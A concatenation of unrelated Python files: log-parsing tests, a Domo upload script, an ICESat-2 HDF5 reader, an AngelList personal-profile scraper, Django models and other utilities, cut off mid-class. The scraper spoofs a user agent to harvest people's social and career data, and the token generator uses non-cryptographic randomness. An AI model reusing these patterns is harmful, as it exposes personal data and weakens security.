MILLISECOND_EXPONENT) == 0 def test_float_01(self): assert parse_latency('0.000123456', MILLISECOND_EXPONENT) == 0 def test_float_02(self): assert parse_latency('0.000123456', MICROSECOND_EXPONENT) == 123 def test_float_1(self): assert parse_latency('0.123456789', MILLISECOND_EXPONENT) == 123 def test_float_2_3(self): assert parse_latency('1.123456789', MILLISECOND_EXPONENT) == 1123 def test_float_2_6(self): assert parse_latency('1.123456789', MICROSECOND_EXPONENT) == 1123457 def test_float_2_9(self): assert parse_latency('1.123456789', NANOSECOND_EXPONENT) == 1123456789 def test_float_2_0(self): assert parse_latency('1.123456789', SECOND_EXPONENT) == 1 def test_float_3(self): assert parse_latency('0.54478', MILLISECOND_EXPONENT) == 545 @pytest.mark.usefixtures('utils_setup') class TestParseLine(): def test_valid(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "POST /data/csl/contentupdate/xxx HTTP/1.1" 200 8563 '\ u'"-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record.raw_request == '/data/csl/contentupdate/xxx' assert record.get_time() == datetime.datetime.strptime('20130808105959', log_record.APACHELOG_DATETIME_FORMAT) assert record.response_code == 200 assert record.latency == 53 assert record.get_method_id() == 'csl_contentupdate' def test_empty(self, monkeypatch): utils_setup(monkeypatch) line = u'' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None def test_empty_request(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "" 200 8563 "-" ' \ u'"Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None def test_wrong_request(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "\x80w\x01\x03\x01" 200 8563 "-" ' \ u'"Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None def test_with_latency_in_milliseconds(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "POST /content/csl/contentupdate/xxx HTTP/1.1" 200 8563 '\ u'"-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 1253' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser, True) assert record.latency == 1253 def test_with_latency_in_microseconds(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "POST /content/csl/contentupdate/xxx HTTP/1.1" 200 8563 '\ u'"-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 1253' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser, False) assert record.latency == 1 def test_invalid_date_day(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Jah/2013:10:59:59 +0200] "POST /content/csl/contentupdate/xxx HTTP/1.1" 200 8563 '\ u'"-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None def test_invalid_response_code(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "POST /content/csl/contentupdate/xxx HTTP/1.1" 200.1 ' \ u'8563 "-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None def test_empty_response_code(self, monkeypatch): utils_setup(monkeypatch) line = u'172.19.0.40 - - [08/Aug/2013:10:59:59 +0200] "POST /content/csl/contentupdate/xxx HTTP/1.1" "" 8563 ' \ u'"-" "Apache-HttpClient/4.2.1 (java 1.5)" community1 community1 OK 14987 8785 53047' parser = apachelog.parser(settings.ELF_FORMAT) record = parse_line(line, parser) assert record is None class TestFormatEmptyValue(): def test_format_valid(self): assert format_value_for_munin(17) == 17 def test_zero_allowed(self): assert format_value_for_munin(0, True) == 0 def test_zero_not_allowed(self): assert format_value_for_munin(0, False) == 'U' def test_none(self): assert format_value_for_munin(None) == 'U' class TestFormatFilename(): def test_format_filename_no_template(self): f, p = format_filename('file.log', datetime.datetime.now()) assert f == 'file.log' assert p['ts'] == datetime.timedelta() assert p['ts-name-only'] is False def test_format_filename_with_template(self): dt = datetime.datetime.now() f, p = format_filename('file.log-%y-%m-%d-%H', dt) assert f == dt.strftime('file.log-%y-%m-%d-%H') assert p['ts'] == datetime.timedelta() assert p['ts-name-only'] is False def test_format_filename_shift_error(self): f, p = format_filename('file.log?xx', datetime.datetime.now()) assert f == 'file.log' assert p['ts'] == datetime.timedelta() assert p['ts-name-only'] is False def test_format_filename_shift_positive(self): name = 'file.log-%Y-%m-%d-%H' dt = datetime.datetime.now() dt_shifted = dt + datetime.timedelta(hours=1) formatted_name = dt_shifted.strftime(name) f, p = format_filename(name+'?ts=+3600', dt) assert f == formatted_name assert p['ts'] == datetime.timedelta(hours=1) assert p['ts-name-only'] is False def test_format_filename_shift_negative(self): name = 'file.log-%Y-%m-%d-%H' dt = datetime.datetime.now() dt_shifted = dt + datetime.timedelta(hours=-1) formatted_name = dt_shifted.strftime(name) f, p = format_filename(name+'?ts=-3600', dt) assert f == formatted_name assert p['ts'] == datetime.timedelta(hours=-1) assert p['ts-name-only'] is False def test_format_filename_name_only_true(self): name = 'file.log-%Y-%m-%d-%H' dt = datetime.datetime.now() dt_shifted = dt + datetime.timedelta(hours=1) formatted_name = dt_shifted.strftime(name) f, p = format_filename(name+'?ts=+3600&ts-name-only=true', dt) assert f == formatted_name assert p['ts'] == datetime.timedelta() assert p['ts-name-only'] is True def test_format_filename_name_only_false(self): name = 'file.log-%Y-%m-%d-%H' dt = datetime.datetime.now() dt_shifted = dt + datetime.timedelta(hours=1) formatted_name = dt_shifted.strftime(name) f, p = format_filename(name+'?ts=+3600&ts-name-only=false', dt) assert f == formatted_name assert p['ts'] == datetime.timedelta(hours=1) assert p['ts-name-only'] is False# -*- coding: utf-8 -*- """ Created on Tue Jul 25 09:33:08 2017 Confidential @author: pairwin """ from DomoUtilHelper import DomoSDK import argparse from pydomo.datasets import Schema def main(args): args = args try: if args.rows is not None: rowsper = int(args.rows) else: rowsper = 300000 domo = DomoSDK() if args.conn is not None: domo.databasecon = args.conn temp_dir = domo.makeTempDir() if args.sqlfile is not None: sql = domo.getSQL(args.sqlfile) # schemadf = readData(sql, temp_dir, rowsper) dtype_df = domo.readData(sql, temp_dir, rowsper) fl = domo.buildfilelist(temp_dir) if args.name is not None: name = args.name if args.exec is not None: dataSourceId = args.exec strlst = domo.listStreams() for i in range(len(strlst)): if strlst[i].dataSet.id == dataSourceId: strm_id = strlst[i].id strm = domo.streams.get(strm_id) #stream id print('Updating ' + strm.dataSet.name) domo.dataname = strm.dataSet.name exe = domo.createExecution(strm) domo.uploadStream(exe, strm, fl) if args.delete is not None: dataSourceId = args.delete strlst = domo.listStreams() for i in range(len(strlst)): if strlst[i].dataSet.id == dataSourceId: strm_id = strlst[i].id strm = domo.streams.get(strm_id) #stream id domo.dataname = strm.dataSet.name print('Deleting ' + strm.dataSet.name) domo.deleteStream(strm) if args.create: SCHEMA = Schema(domo.buildSchema(dtype_df)) strm = domo.createStream(name, SCHEMA) domo.dataname = name exe = domo.createExecution(strm) domo.uploadStream(exe, strm, fl) except Exception as err: print(err) finally: domo.deleteTemp(temp_dir) domo.closeLogger() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-s", "--sqlfile", help="SQL File for processing") parser.add_argument("-c", "--create", help="Create Stream", action="store_true") parser.add_argument("-e","--exec", help="Execute existing Stream by giving the dataSourceId") parser.add_argument("-n", "--name", help="Name of Stream you want to create") parser.add_argument("-d", "--delete", help="Id of Stream you want to delete") parser.add_argument("-r", "--rows", help="Rows per chunk (default is 100000)") parser.add_argument("-x", "--conn", help="Connection String, else use default in config") args = parser.parse_args() main(args) #domo = DomoSDK() #temp_dir = domo.makeTempDir() #name = 'TEST_STREAM_PI' #sql = domo.getSQL(r'C:\users\pairwin\Desktop\testsql.sql') #schemadf = domo.readDataAsync(sql, temp_dir, 10000) #domo.readDataAsync(sql, temp_dir) #fl = domo.buildfilelist(temp_dir) #SCHEMA = Schema(domo.buildSchema(schemadf)) #strm = domo.createStream(name, SCHEMA) # #strlst = listStreams() #for i in range(len(strlst)): # if strlst[i].dataSet.id == 'df66cb75-d2ea-47ac-a4aa-8de48e22c1b3': # strm_id = strlst[i].id #strm = domo.streams.get(strm_id) #stream id # #exe = createExecution(strm) #arglist = [strm.id, exe.id, 1, r'C:\Temp\tmp4rignsc0\file0.gzip' ] # #for i in range(20): # execution = domo.streams.upload_part(arglist[0], arglist[1],arglist[2], csv = open(arglist[3], 'rb')) # print(execution) # # #uploadPart(arglist) #domo.streams.commit_execution(strm.id, exe.id) #deleteTemp(temp_dir) #domo.streams.delete(strm.id) #domo.datasets.delete(strm.datasets.id)from unittest import TestCase import torch from torch.utils.data import DataLoader from transformers import AutoTokenizer import nullprompt.data as data import nullprompt.templatizers as templatizers class TestCollator(TestCase): def test_collator(self): template = '[T] [T] {arbitrary} [T] {fields} [P]' tokenizer = AutoTokenizer.from_pretrained( 'bert-base-cased', add_prefix_space=True, additional_special_tokens=('[T]', '[P]'), ) templatizer = templatizers.TriggerTemplatizer( template, tokenizer ) collator = data.Collator(pad_token_id=tokenizer.pad_token_id) instances = [ {'arbitrary': 'a', 'fields': 'the', 'label': 'hot'}, {'arbitrary': 'a a', 'fields': 'the the', 'label': 'cold'} ] templatized_instances = [templatizer(x) for x in instances] loader = DataLoader( templatized_instances, batch_size=2, shuffle=False, collate_fn=collator ) model_inputs, labels = next(iter(loader)) # Check results match our expectations expected_labels = torch.tensor([ tokenizer.encode('hot', add_special_tokens=False), tokenizer.encode('cold', add_special_tokens=False), ]) assert torch.equal(expected_labels, labels) expected_trigger_mask = torch.tensor([ [False, True, True, False, True, False, False, False, False, False], [False, True, True, False, False, True, False, False, False, False], ]) assert torch.equal(expected_trigger_mask, model_inputs['trigger_mask']) expected_predict_mask = torch.tensor([ [False, False, False, False, False, False, True, False, False, False], [False, False, False, False, False, False, False, False, True, False], ]) assert torch.equal(expected_predict_mask, model_inputs['predict_mask']) 10-100 """This is just hear so mypy won't complain about no Python files in the scripts/ directory.""" import boto3 import json def lambda_handler(event, context): dynamodb = boto3.resource('dynamodb', region_name='us-east-1', endpoint_url="https://dynamodb.us-east-1.amazonaws.com") table = dynamodb.Table('GameVersions') game = "Minecraft" version = "1.15.2" try: response = table.get_item( Key={ 'Game': game, 'Version': version } ) except: return { 'statusCode': 500, 'body': "Unable to lookup Minecraft version information." } else: item = response['Item'] return { 'statusCode': 200, 'body': json.dumps(item) } return { 'statusCode': 500, 'body': "Unable to lookup Minecraft version information." } #!/usr/bin/env python u""" read_ICESat2_ATL03.py (11/2019) Read ICESat-2 ATL03 and ATL09 data files to calculate average segment surfaces ATL03 datasets: Global Geolocated Photons ATL09 datasets: Atmospheric Characteristics PYTHON DEPENDENCIES: numpy: Scientific Computing Tools For Python http://www.numpy.org http://www.scipy.org/NumPy_for_Matlab_Users scipy: Scientific Tools for Python http://www.scipy.org/ h5py: Python interface for Hierarchal Data Format 5 (HDF5) http://h5py.org UPDATE HISTORY: Updated 11/2019: create attribute dictionaries but don't fill if False Updated 03/2019: extract a set of ATL09 parameters for each ATL03 segment_ID Updated 02/2019: continued writing read program with first ATL03 release Written 05/2017 """ from __future__ import print_function, division import os import re import h5py import numpy as np import scipy.interpolate #-- PURPOSE: read ICESat-2 ATL03 HDF5 data files def read_HDF5_ATL03(FILENAME, ATTRIBUTES=False, VERBOSE=False): #-- Open the HDF5 file for reading fileID = h5py.File(os.path.expanduser(FILENAME), 'r') #-- Output HDF5 file information if VERBOSE: print(fileID.filename) print(list(fileID.keys())) #-- allocate python dictionaries for ICESat-2 ATL03 variables and attributes IS2_atl03_mds = {} IS2_atl03_attrs = {} #-- read each input beam within the file IS2_atl03_beams = [] for gtx in [k for k in fileID.keys() if bool(re.match(r'gt\d[lr]',k))]: #-- check if subsetted beam contains data try: fileID[gtx]['geolocation']['segment_id'] except KeyError: pass else: IS2_atl03_beams.append(gtx) #-- for each included beam for gtx in IS2_atl03_beams: #-- get each HDF5 variable IS2_atl03_mds[gtx] = {} IS2_atl03_mds[gtx]['heights'] = {} IS2_atl03_mds[gtx]['geolocation'] = {} IS2_atl03_mds[gtx]['bckgrd_atlas'] = {} IS2_atl03_mds[gtx]['geophys_corr'] = {} #-- ICESat-2 Measurement Group for key,val in fileID[gtx]['heights'].items(): IS2_atl03_mds[gtx]['heights'][key] = val[:] #-- ICESat-2 Geolocation Group for key,val in fileID[gtx]['geolocation'].items(): IS2_atl03_mds[gtx]['geolocation'][key] = val[:] #-- ICESat-2 Background Photon Rate Group for key,val in fileID[gtx]['bckgrd_atlas'].items(): IS2_atl03_mds[gtx]['bckgrd_atlas'][key] = val[:] #-- ICESat-2 Geophysical Corrections Group: Values for tides (ocean, #-- solid earth, pole, load, and equilibrium), inverted barometer (IB) #-- effects, and range corrections for tropospheric delays for key,val in fileID[gtx]['geophys_corr'].items(): IS2_atl03_mds[gtx]['geophys_corr'][key] = val[:] #-- Getting attributes of included variables if ATTRIBUTES: #-- Getting attributes of IS2_atl03_mds beam variables IS2_atl03_attrs[gtx] = {} IS2_atl03_attrs[gtx]['heights'] = {} IS2_atl03_attrs[gtx]['geolocation'] = {} IS2_atl03_attrs[gtx]['bckgrd_atlas'] = {} IS2_atl03_attrs[gtx]['geophys_corr'] = {} #-- Global Group Attributes for att_name,att_val in fileID[gtx].attrs.items(): IS2_atl03_attrs[gtx][att_name] = att_val #-- ICESat-2 Measurement Group for key,val in fileID[gtx]['heights'].items(): IS2_atl03_attrs[gtx]['heights'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[gtx]['heights'][key][att_name]=att_val #-- ICESat-2 Geolocation Group for key,val in fileID[gtx]['geolocation'].items(): IS2_atl03_attrs[gtx]['geolocation'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[gtx]['geolocation'][key][att_name]=att_val #-- ICESat-2 Background Photon Rate Group for key,val in fileID[gtx]['bckgrd_atlas'].items(): IS2_atl03_attrs[gtx]['bckgrd_atlas'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[gtx]['bckgrd_atlas'][key][att_name]=att_val #-- ICESat-2 Geophysical Corrections Group for key,val in fileID[gtx]['geophys_corr'].items(): IS2_atl03_attrs[gtx]['geophys_corr'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[gtx]['geophys_corr'][key][att_name]=att_val #-- ICESat-2 spacecraft orientation at time IS2_atl03_mds['orbit_info'] = {} IS2_atl03_attrs['orbit_info'] = {} for key,val in fileID['orbit_info'].items(): IS2_atl03_mds['orbit_info'][key] = val[:] #-- Getting attributes of group and included variables if ATTRIBUTES: #-- Global Group Attributes for att_name,att_val in fileID['orbit_info'].attrs.items(): IS2_atl03_attrs['orbit_info'][att_name] = att_val #-- Variable Attributes IS2_atl03_attrs['orbit_info'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs['orbit_info'][key][att_name] = att_val #-- information ancillary to the data product #-- number of GPS seconds between the GPS epoch (1980-01-06T00:00:00Z UTC) #-- and ATLAS Standard Data Product (SDP) epoch (2018-01-01T00:00:00Z UTC) #-- Add this value to delta time parameters to compute full gps_seconds #-- could alternatively use the Julian day of the ATLAS SDP epoch: 2458119.5 #-- and add leap seconds since 2018-01-01T00:00:00Z UTC (ATLAS SDP epoch) IS2_atl03_mds['ancillary_data'] = {} IS2_atl03_attrs['ancillary_data'] = {} for key in ['atlas_sdp_gps_epoch','data_end_utc','data_start_utc','end_cycle', 'end_geoseg','end_gpssow','end_gpsweek','end_orbit','end_region', 'end_rgt','granule_end_utc','granule_start_utc','release','start_cycle', 'start_geoseg','start_gpssow','start_gpsweek','start_orbit','start_region', 'start_rgt','version']: #-- get each HDF5 variable IS2_atl03_mds['ancillary_data'][key] = fileID['ancillary_data'][key][:] #-- Getting attributes of group and included variables if ATTRIBUTES: #-- Variable Attributes IS2_atl03_attrs['ancillary_data'][key] = {} for att_name,att_val in fileID['ancillary_data'][key].attrs.items(): IS2_atl03_attrs['ancillary_data'][key][att_name] = att_val #-- transmit-echo-path (tep) parameters IS2_atl03_mds['ancillary_data']['tep'] = {} IS2_atl03_attrs['ancillary_data']['tep'] = {} for key,val in fileID['ancillary_data']['tep'].items(): #-- get each HDF5 variable IS2_atl03_mds['ancillary_data']['tep'][key] = val[:] #-- Getting attributes of group and included variables if ATTRIBUTES: #-- Variable Attributes IS2_atl03_attrs['ancillary_data']['tep'][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs['ancillary_data']['tep'][key][att_name] = att_val #-- channel dead time and first photon bias derived from ATLAS calibration cal1,cal2 = ('ancillary_data','calibrations') for var in ['dead_time','first_photon_bias']: IS2_atl03_mds[cal1][var] = {} IS2_atl03_attrs[cal1][var] = {} for key,val in fileID[cal1][cal2][var].items(): #-- get each HDF5 variable if isinstance(val, h5py.Dataset): IS2_atl03_mds[cal1][var][key] = val[:] elif isinstance(val, h5py.Group): IS2_atl03_mds[cal1][var][key] = {} for k,v in val.items(): IS2_atl03_mds[cal1][var][key][k] = v[:] #-- Getting attributes of group and included variables if ATTRIBUTES: #-- Variable Attributes IS2_atl03_attrs[cal1][var][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[cal1][var][key][att_name] = att_val if isinstance(val, h5py.Group): for k,v in val.items(): IS2_atl03_attrs[cal1][var][key][k] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[cal1][var][key][k][att_name]=att_val #-- get ATLAS impulse response variables for the transmitter echo path (TEP) tep1,tep2 = ('atlas_impulse_response','tep_histogram') IS2_atl03_mds[tep1] = {} IS2_atl03_attrs[tep1] = {} for pce in ['pce1_spot1','pce2_spot3']: IS2_atl03_mds[tep1][pce] = {tep2:{}} IS2_atl03_attrs[tep1][pce] = {tep2:{}} #-- for each TEP variable for key,val in fileID[tep1][pce][tep2].items(): IS2_atl03_mds[tep1][pce][tep2][key] = val[:] #-- Getting attributes of included variables if ATTRIBUTES: #-- Global Group Attributes for att_name,att_val in fileID[tep1][pce][tep2].attrs.items(): IS2_atl03_attrs[tep1][pce][tep2][att_name] = att_val #-- Variable Attributes IS2_atl03_attrs[tep1][pce][tep2][key] = {} for att_name,att_val in val.attrs.items(): IS2_atl03_attrs[tep1][pce][tep2][key][att_name] = att_val #-- Global File Attributes if ATTRIBUTES: for att_name,att_val in fileID.attrs.items(): IS2_atl03_attrs[att_name] = att_val #-- Closing the HDF5 file fileID.close() #-- Return the datasets and variables return (IS2_atl03_mds,IS2_atl03_attrs,IS2_atl03_beams) #-- PURPOSE: read ICESat-2 ATL09 HDF5 data file for specific variables def read_HDF5_ATL09(FILENAME, pfl, segID, ATTRIBUTES=True): #-- Open the HDF5 file for reading fileID = h5py.File(os.path.expanduser(FILENAME), 'r') #-- allocate python dictionaries for ICESat-2 ATL09 variables and attributes IS2_atl09_mds = {} IS2_atl09_attrs = {} #-- read profile reported for the ATLAS strong beams within the file IS2_atl09_mds[pfl] = dict(high_rate={}) #-- extract segment_id for mapping ATL09 atmospheric parameters to ATL03 segment_id = fileID[pfl]['high_rate']['segment_id'][:] #-- Calibrated Attenuated Backscatter at 25 hz high_rate_keys = ['aclr_true','bsnow_con','bsnow_dens','bsnow_h', 'bsnow_h_dens','bsnow_od','bsnow_psc','cloud_flag_asr','cloud_flag_atm', 'cloud_fold_flag','column_od_asr','column_od_asr_qf','msw_flag', 'snow_ice','solar_azimuth','solar_elevation','surf_refl_true'] #-- extract variables of interest and map to ATL03 segments for key in high_rate_keys: val = np.copy(fileID[pfl]['high_rate'][key][:]) fint = scipy.interpolate.interp1d(segment_id, val, kind='nearest', fill_value='extrapolate') IS2_atl09_mds[pfl]['high_rate'][key] = fint(segID).astype(val.dtype) #-- Getting attributes of included variables if ATTRIBUTES: #-- Getting attributes of IS2_atl09_mds profile variables IS2_atl09_attrs[pfl] = dict(high_rate={}) #-- Global Group Attributes for att_name,att_val in fileID[pfl].attrs.items(): IS2_atl09_attrs[pfl][att_name] = att_val #-- Variable Attributes for key in high_rate_keys: IS2_atl09_attrs[pfl]['high_rate'][key] = {} for att_name,att_val in fileID[pfl]['high_rate'][key].attrs.items(): IS2_atl09_attrs[pfl]['high_rate'][key][att_name] = att_val #-- Global File Attributes if ATTRIBUTES: for att_name,att_val in fileID.attrs.items(): IS2_atl09_attrs[att_name] = att_val #-- Closing the HDF5 file fileID.close() #-- Return the datasets and variables return (IS2_atl09_mds,IS2_atl09_attrs) 1-10 import requests import re #import google from google import search #from lxml import html from bs4 import BeautifulSoup from utils.acurerate_utils import AcureRateUtils from engagement.engager import Engager from engagement.engagement_exception import EngagementException from entities.acurerate_attributes import P, C class AngelListScraperEngager(Engager): THE_KEY = "" def __init__(self): super().__init__() def __repr__(self): return "AngelList Scraper Engager" def get_provider_name(self): return "AngelListScraper" def get_short_symbol(self): return "als" def get_api_key(self): return AngelListScraperEngager.THE_KEY def set_enrich_key(self): t = self.enriched_entity.__class__.__name__ if t == 'AcureRatePerson' and P.FULL_NAME in self.enriched_entity.deduced: name = self.enriched_entity.deduced[P.FULL_NAME] elif t == 'AcureRateCompany' and C.NAME in self.enriched_entity.deduced: name = self.enriched_entity.deduced[C.NAME] else: raise EngagementException("AngelListScraper - cannot engage - cannot generate enrich key. Entity type: %s", t) self.enrich_key = name def enrich_person(self): try: if P.ANGELLIST_URL not in self.enriched_entity.deduced: # Search google for the person - the search string: 'site:bloomberg.com ploni almoni "executive profile"' url_prefix_1 = 'http://angel.co/'.lower() query = 'site:angel.co "%s"' % self.enrich_key res = search(query, tld='com', lang='en', num=3, start=0, stop=2, pause=2.0) matches = 0 for url in res: url_lower = url.lower().replace('https', 'http') if url_lower.find(url_prefix_1) == 0: matches += 1 if matches == 0: raise EngagementException('Unable to locate information in angel.co on %s' % self.enrich_key) elif matches > 1: # TODO: we can improve search that will also consult working places and determine which person is the one we need... (try: ) raise EngagementException('Unable to locate information in angel.co - more than one match on %s' % self.enrich_key) # Grab person id from url p = url.rfind('/') person_id = url[:p-1] self.set_data(P.ANGELLIST_ID, person_id) # TODO: look into the full url google returns - what is capId? self.set_data(P.ANGELLIST_URL, url) else: url = self.enriched_entity.deduced[P.ANGELLIST_URL] # ----------------- # CHECK: https://angel.co/alberto-roman # ----------------- headers = requests.utils.default_headers() headers.update( { 'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36' } ) # Get the person's page for parsing response = requests.get(url, headers=headers) if response.status_code != 200: s = 'Unable to load page in Angel.co on %s. Error: %s. (url=%s)' % (self.enrich_key, response.status_code, url) raise EngagementException(s) soup = BeautifulSoup(response.content, 'html.parser') # Get name try: elem = soup.find("h1", {"itemprop": "name"}) if elem: name = elem.text.strip() self.set_data(P.FULL_NAME, name) except: self.logger.warning('Unable to locate name attribute for %s', self.enrich_key) # Get photo # Studied at... # Get socials try: elem = soup.find("a", {"data-field": "linkedin_url"}) if elem: linkedin_url = elem['href'] self.set_data(P.LINKEDIN_URL, linkedin_url) except: self.logger.warning('Unable to locate social attribute for %s', self.enrich_key) try: elem = soup.find("a", {"data-field": "twitter_url"}) if elem: twitter_url = elem['href'] self.set_data(P.TWITTER_URL, twitter_url) except: self.logger.warning('Unable to locate social attribute for %s', self.enrich_key) try: elem = soup.find("a", {"data-field": "facebook_url"}) if elem: facebook_url = elem['href'] self.set_data(P.FACEBOOK_URL, facebook_url) except: self.logger.warning('Unable to locate social attribute for %s', self.enrich_key) try: elem = soup.find("a", {"data-field": "blog_url"}) if elem: blog_url = elem['href'] self.set_data(P.BLOG_URL, blog_url) except: self.logger.warning('Unable to locate social attribute for %s', self.enrich_key) # Get experience try: experience_elem = soup.find("div", {"class": "experience_container"}) startup_roles = experience_elem.findAll("div", {"class": "startup_roles"}) for review in startup_roles: current_job = {} # Get logo of job startup_photo_elem = review.find("div", {"class": "photo"}) startup_photo_url = startup_photo_elem.find("img")['src'] # Get details of job startup_text_elem = review.find("div", {"class": "text"}) startup_elem = startup_text_elem.find("a", {"data-type": "Startup"}) current_job[P.JOB_NAME] = startup_elem.text.strip() startup_angellist_url = startup_elem['href'] # Get other details more_details_elems = startup_text_elem.findAll("span") if len(more_details_elems) > 0: current_job[P.JOB_TITLE] = more_details_elems[0].text.strip() if len(more_details_elems) > 1: role_years = more_details_elems[1].text.strip() s, e, c = AcureRateUtils.parse_date_range(role_years) if s: current_job[P.JOB_STARTED] = s if e: current_job[P.JOB_ENDED] = e if c: current_job[P.JOB_CURRENT] = c # TODO: parse start/end/current year from string line if len(more_details_elems) > 2: role_description = more_details_elems[2].text.strip() self.add_data(P.JOBS, current_job) except: self.logger.warning('Unable to locate job title/name attribute for %s', self.enrich_key) # Get education records try: education_elem = soup.find("div", {"class": "education"}) education_orgs = education_elem.findAll("div", {"class": "college-row-view"}) for review in education_orgs: school = review.find("div", {"class": "school"}).text.strip() degree = review.find("div", {"class": "degree"}).text.strip() except: self.logger.warning('Unable to locate education attribute for %s', self.enrich_key) # Get investments try: investments_list_elem = soup.find("div", {"class": "investment_list"}) investments = investments_list_elem.findAll("div", {"class": "investment"}) for investment in investments: company_name = investment.find("div", {"class": "company-link"}).text.strip() self.add_data(P.INVESTMENTS, company_name) except: self.logger.warning('Unable to locate investments attribute for %s', self.enrich_key) # Get references/reviews try: reviews_section_elem = soup.find("div", {"class": "reviews"}) reviews_elem = reviews_section_elem.findAll("li", {"class": "review"}) for review in reviews_elem: reference = {} reference[P.REFERER_REVIEW] = review.find("div", {"class": "review-content"}).text.strip() referencing_person_elem = review.find("div", {"class": "annotation"}).find("a", {"class": "profile-link"}) reference[P.REFERER_NAME] = referencing_person_elem.text.strip() reference[P.REFERER_ANGELLIST_URL] = referencing_person_elem['href'] self.add_data(P.REFERENCES, reference) except: self.logger.warning('Unable to locate education attribute for %s', self.enrich_key) # Get business locations # TODO.. # Get business markets # TODO.. except Exception as e: self.logger.error('Unable to enrich person %s. %s', self.enriched_entity, e) raise e return [P.FULL_NAME] #!/usr/bin/env python3 # Copyright 2016, 2017 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Wrapper script to call mkdocs """ # # IMPORTS # import os import subprocess import sys # # CONSTANTS AND DEFINITIONS # # # CODE # def main(): """ Change to doc directory and call mkdocs Args: None Returns: int: exit code Raises: None """ # determine the repository root dir root_dir = os.path.abspath( '{}/..'.format(os.path.dirname(os.path.abspath(__file__))) ) # no arguments specified: use default if len(sys.argv) < 2: args = 'build -c -d ../build/html' # pass user arguments to mkdocs else: args = ' '.join(sys.argv[1:]) # create the command cmd = 'cd {} && mkdocs {}'.format(root_dir, args) # show command to the user print(cmd) # execute and return exit code return subprocess.call(cmd, shell=True) # parse_and_run() if __name__ == '__main__': sys.exit(main()) # Created by at 2/21/21 # Copyright © 2021 Carbon, Inc. All rights reserved. import numpy as np from tqdm import tqdm from sklearn.decomposition import PCA def D_init(X, y, K, classes): n_components = K / len(classes) assert K % len(classes) == 0, f"SAME ATOMS FEATURE COUNT {K}/{len(classes)}" D = None for c in tqdm(range(len(classes)), desc="D-init"): Xc = X[:, y == c].T assert ( np.min(Xc.shape) >= n_components ), f"PCA COMPONENT ERROR [svd_solver=full] min(X[y=={c}].shape) >= {K}/{len(classes)}" pca_components = PCA(n_components=int(n_components)).fit(Xc).components_ if D is None: D = pca_components else: D = np.vstack((D, pca_components)) return np.array(D).T import random import string from django.db import models from backend.logic.utils import escape_file_name class Theme(models.Model): def archivePath(self, filename): return 'themes/%s' % escape_file_name(filename) name = models.CharField(max_length=64) elements = models.TextField(blank=True, default='') downloads = models.IntegerField(blank=True, default=0) date = models.DateField(blank=True, auto_now_add=True) author = models.CharField(blank=True, default='', max_length=64) website = models.CharField(blank=True, default='', max_length=512) ect = models.IntegerField(blank=True, default=-1) promote = models.BooleanField(blank=True, default=True) comment = models.TextField(blank=True, default="", max_length=2048) archive = models.FileField(blank=True, default='', max_length=260, upload_to=archivePath) moderating = models.BooleanField(blank=True, default=True) def __unicode__(self): return u'%s %s' % (self.name, 'Moderating' if self.moderating else '') def genToken(): return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(96)) class ShoppingToken(models.Model): date = models.DateField(blank=True, auto_now_add=True) value = models.CharField(blank=True, default=genToken, max_length=127) payed = models.BooleanField(blank=True, default=False) 10-100 # -*- coding: utf-8 -*- import tensorflow as tf import numpy as np import utils class OverlapMetrics(object): """ Compute the Dice similarity coefficient between the ground truth and the prediction. """ def __init__(self, n_class=1, eps=0.1, mode='tf'): self.n_class = n_class self.eps = eps self.mode = mode assert mode in ['tf', 'np'], "The mode must be either 'tf' or 'np'!" def averaged_foreground_dice(self, y_true, y_seg): """ Assume the first 